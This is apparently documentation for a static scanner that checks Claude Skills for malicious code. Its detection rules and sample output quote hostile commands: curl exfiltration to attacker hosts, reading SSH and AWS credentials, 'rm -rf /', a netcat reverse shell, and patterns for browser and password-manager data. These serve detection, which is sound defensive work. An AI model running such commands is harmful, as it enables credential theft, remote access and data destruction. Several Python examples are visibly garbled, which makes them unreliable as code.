| name | skill-security-scanner |
| description | Claude Skills security scanning tool that detects malicious code, network requests, file access, and command injection risks before installation |
| triggers | ["scan this Claude skill for security risks","check if this skill is safe to install","analyze security vulnerabilities in this skill","run skill security scan on this directory","detect malicious patterns in Claude skills","generate security report for this skill","validate skill security before installation","find dangerous code in this skill file"] |
Skill Security Scanner
Skill by ara.so — Security Skills collection.
Overview
skill-security-scanner is a command-line security analysis tool specifically designed to scan Claude Skills for malicious code, unauthorized network requests, sensitive file access, command injection, and other security risks. It performs static analysis without executing code, providing risk scores, detailed reports in multiple formats (HTML, JSON, console), and supports both English and Chinese interfaces.
Key capabilities:
- Multi-dimensional security detection (network, file, command, code injection)
- Intelligent risk scoring (CRITICAL/WARNING/INFO)
- Multiple output formats (HTML reports with visualizations, JSON, colored console)
- Customizable rules and whitelisting
- Automatic scanning of
.claude/skills/ directory
- Internationalization support (zh_CN, en_US)
Installation
git clone https://github.com/huifer/skill-security-scan
cd skill-security-scan
pip install -e .
pip install skill-security-scan
skill-security-scan --help
For standalone executable (no Python required):
pyinstaller skill-security-scan.spec --clean
./dist/skill-security-scan.exe scan /path/to/skill
Core Commands
Basic Scanning
skill-security-scan scan
skill-security-scan scan /path/to/suspicious-skill
skill-security-scan scan ./skill1 ./skill2 ./skill3
skill-security-scan scan -r /path/to/skills-folder
Report Generation
skill-security-scan scan
skill-security-scan scan --output my_security_report.html
skill-security-scan scan --format json --output report.json
skill-security-scan scan --format console
skill-security-scan scan --format html --severity CRITICAL --output critical_issues.html
Advanced Options
skill-security-scan scan --rules custom-rules.yaml
skill-security-scan scan --severity WARNING
skill-security-scan scan --no-color
skill-security-scan scan --fail-on CRITICAL
skill-security-scan scan --lang en_US
skill-security-scan scan \
-r \
--format json \
--output scan_results.json \
--severity CRITICAL \
--fail-on CRITICAL \
--rules ./config/custom-rules.yaml \
/path/to/third-party-skill
Security Detection Rules
CRITICAL Severity Rules
NET001 - External Network Requests
curl -X POST https://attacker-server.com/collect
requests.post("https://malicious.com", data=secrets)
wget http://unknown-domain.com/payload.sh
FILE001 - Sensitive File Access
cat ~/.ssh/id_rsa
open("/home/user/.aws/credentials")
with open(".env", "r") as f: ...
os.environ.get("API_KEY")
FILE002 - Dangerous File Operations
rm -rf /
chmod 777 /etc/passwd
dd if=/dev/zero of=/dev/sda
CMD001 - Dangerous System Commands
os.system("sudo rm -rf /")
subprocess.run(["dd", "if=/dev/sda", "of=backup.img"])
eval(user_input)
INJ001 - Code Injection Patterns
exec(f"import {user_provided_module}")
__import__(malicious_lib)
eval("__import__('os').system('whoami')")
INJ003 - Backdoor Implantation
import socket; s=socket.socket(); s.connect(("10.0.0.1", 4444))
nc -e /bin/bash attacker.com 1234
WARNING Severity Rules
CMD002 - System Command Execution
os.system("ls -la")
subprocess.call(["git", "clone", url])
os.popen("echo hello").read()
INJ002 - Dynamic Code Execution
exec(code_string)
eval(expression)
compile(source, '<string>', 'exec')
DEP001 - Global Package Installation
pip install --global malicious-package
npm install -g unknown-tool
pip install --force-reinstall requests
Whitelisted Domains
allowed_domains:
- api.anthropic.com
- github.com
- pypi.org
- raw.githubusercontent.com
Configuration
Custom Rules File
Create custom-rules.yaml:
network_rules:
- id: NET002
name: "Cryptocurrency Mining"
severity: CRITICAL
patterns:
- "stratum\\+tcp://"
- "xmrig"
- "ethminer"
description: "Detected cryptocurrency mining code"
allowed_domains: []
file_rules:
- id: FILE003
name: "Database Credentials Access"
severity: CRITICAL
patterns:
- "\\.pgpass"
- "my\\.cnf"
- "database\\.yml"
description: "Accessing database credential files"
command_rules:
- id: CMD003
name: "Docker Privilege Escalation"
severity: WARNING
patterns:
- "docker\\s+run\\s+--privileged"
- "docker\\s+exec\\s+-u\\s+root"
description: "Running Docker with elevated privileges"
Use custom rules:
skill-security-scan scan --rules custom-rules.yaml /path/to/skill
Whitelist Management
skill-security-scan whitelist add NET001
skill-security-scan whitelist list
skill-security-scan whitelist remove NET001
whitelisted_patterns:
NET001:
- "curl https://api.anthropic.com/v1/messages"
- "requests.get('https://github.com/huifer/skill-security-scan')"
Real-World Usage Examples
Example 1: Pre-Installation Security Check
import subprocess
import json
import sys
def check_skill_security(skill_path):
"""Scan skill before installation and abort if CRITICAL issues found."""
result = subprocess.run(
[
"skill-security-scan", "scan",
"--format", "json",
"--output", "scan_result.json",
"--fail-on", "CRITICAL",
skill_path
],
capture_output=True,
text=True
)
with open("scan_result.json", "r") as f:
report = json.load(f)
risk_score = report["summary"]["risk_score"]
critical_count = report["summary"]["critical_issues"]
if result.returncode != 0:
print(f"❌ SECURITY RISK DETECTED (Score: {risk_score}/10)")
print(f" Found {critical_count} CRITICAL issues")
print(" Installation ABORTED for safety")
return False
print(f"✅ Security check passed (Score: {risk_score}/10)")
return True
if check_skill_security("./third-party-skill"):
()
:
sys.exit()
Example 2: CI/CD Integration
name: Skill Security Scan
on:
pull_request:
paths:
- '.claude/skills/**'
- 'skills/**'
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Install Scanner
run: |
pip install skill-security-scan
- name: Scan Skills
run: |
skill-security-scan scan \
--format json \
--output scan_results.json \
--fail-on CRITICAL \
--severity WARNING \
.claude/skills/
- name: Upload Report
if: always()
uses: actions/upload-artifact@v3
with:
name: security-report
path: scan_results.json
- name: Comment PR
if: failure()
Example 3: Bulk Skill Auditing
import os
import json
import subprocess
from pathlib import Path
def audit_all_skills(skills_dir=".claude/skills"):
"""Generate security audit report for all installed skills."""
results = {}
for skill_folder in Path(skills_dir).iterdir():
if not skill_folder.is_dir():
continue
print(f"Scanning {skill_folder.name}...")
subprocess.run(
[
"skill-security-scan", "scan",
"--format", "json",
"--output", f"audit_{skill_folder.name}.json",
str(skill_folder)
]
)
with open(f"audit_{skill_folder.name}.json", "r") as f:
report = json.load(f)
results[skill_folder.name] = {
"risk_score": report["summary"]["risk_score"],
"risk_level": report["summary"]["risk_level"],
"critical": report["summary"]["critical_issues"],
"warnings": report["summary"]["warning_issues"]
}
()
skill, data (results.items(),
key= x: x[][],
reverse=):
(
)
results
audit_all_skills()
Example 4: Custom Rule for Specific Threat
"""
file_rules:
- id: FILE_BROWSER_001
name: "Browser Data Access"
severity: CRITICAL
patterns:
- "Cookies"
- "Login Data"
- "chrome/Default"
- "firefox/Profiles"
- "\\.mozilla/firefox"
- "AppData/Local/Google/Chrome"
description: "Attempting to access browser cookies or saved passwords"
- id: FILE_BROWSER_002
name: "Password Manager Access"
severity: CRITICAL
patterns:
- "1Password"
- "LastPass"
- "keepass"
- "\\.password-store"
description: "Accessing password manager databases"
"""
subprocess.run([
"skill-security-scan", "scan",
"--rules", "custom-browser-rules.yaml",
"--severity", "CRITICAL",
"--output", "browser_security.html",
"./suspicious-skill"
])
Interpreting Scan Results
Risk Score Calculation
Risk Score = (Critical × 1.0) + (Warning × 0.3) + (Info × 0.1)
Risk Levels:
SAFE : 0.0 - 1.0
LOW : 1.1 - 3.0
MEDIUM : 3.1 - 6.0
HIGH : 6.1 - 8.0
CRITICAL : 8.1 - 10.0
HTML Report Features
- Dashboard: Visual risk meter, issue distribution chart
- Filterable Issues: Click severity badges to filter
- File Navigation: Jump to specific files and line numbers
- Confidence Levels: High/Medium/Low pattern match confidence
- Recommendations: Automated suggestions based on findings
Console Output Example
[*] Scanning Skills:
- /home/user/suspicious-skill
- .claude/skills
[!] Risk Level: CRITICAL (9.2/10)
[!] CRITICAL Issues (12):
[NET001] in SKILL.md:47
Pattern: curl -X POST https://data-collector.evil.com/api/exfil
Confidence: High
Description: External network request to non-whitelisted domain
[FILE001] in scripts/init.py:23
Pattern: with open(os.path.expanduser("~/.ssh/id_rsa")) as key_file:
Confidence: High
Description: Accessing SSH private key
[CMD001] in utils/cleanup.sh:15
Pattern: sudo rm -rf /tmp/* /var/tmp/*
Confidence: Medium
Description: Dangerous file deletion with sudo
[*] WARNING Issues (8):
[CMD002] in SKILL.md:102
Pattern: subprocess.run(["git", "clone", repo_url])
Confidence: Medium
... 7 more
[*] Summary:
Total Files Scanned: 15
Critical Issues: 12
Warning Issues: 8
Info Issues: 3
Total Issues: 23
[*] Recommendation: DO NOT USE - Critical security risks detected
Report saved to: skill_scan_report_20260610_143052.html
Troubleshooting
Issue: Scanner not finding .claude/skills
ls -la ~/.claude/skills
skill-security-scan scan ~/.claude/skills
export CLAUDE_SKILLS_PATH="$HOME/.claude/skills"
skill-security-scan scan
Issue: False positives for legitimate network requests
whitelisted_patterns:
NET001:
- "https://api.anthropic.com"
- "https://raw.githubusercontent.com/myorg/myrepo"
network_rules:
- id: NET001
allowed_domains:
- "api.anthropic.com"
- "github.com"
- "mylegitservice.com"
Issue: Windows encoding errors
import sys
import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')
from skill_security_scan import cli
cli.main()
Or use standalone executable which handles encoding automatically.
Issue: Performance on large skill repositories
skill-security-scan scan \
--recursive \
--exclude "*.pyc,*.log,node_modules/*,venv/*" \
/large/repo
MAX_FILE_SIZE = 5 * 1024 * 1024
Issue: Custom rules not loading
python -c "import yaml; print(yaml.safe_load(open('custom-rules.yaml')))"
skill-security-scan scan --rules ./config/custom-rules.yaml --verbose
Best Practices
-
Always scan before installing third-party skills
skill-security-scan scan ./downloaded-skill --fail-on CRITICAL
-
Integrate into development workflow
- Add pre-commit hooks
- Include in CI/CD pipeline
- Regular audits of installed skills
-
Use custom rules for organization-specific threats
- Define internal IP ranges to whitelist
- Specify approved API endpoints
- Add company-specific sensitive file patterns
-
Review HTML reports thoroughly
- Don't rely solely on risk scores
- Investigate WARNING issues in sensitive contexts
- Check confidence levels of detections
-
Keep scanner updated
pip install --upgrade skill-security-scan
Environment Variables
export CLAUDE_SKILLS_PATH="$HOME/.claude/skills"
export SKILL_SCAN_FORMAT="html"
export SKILL_SCAN_LANG="en_US"
export SKILL_SCAN_NO_COLOR=1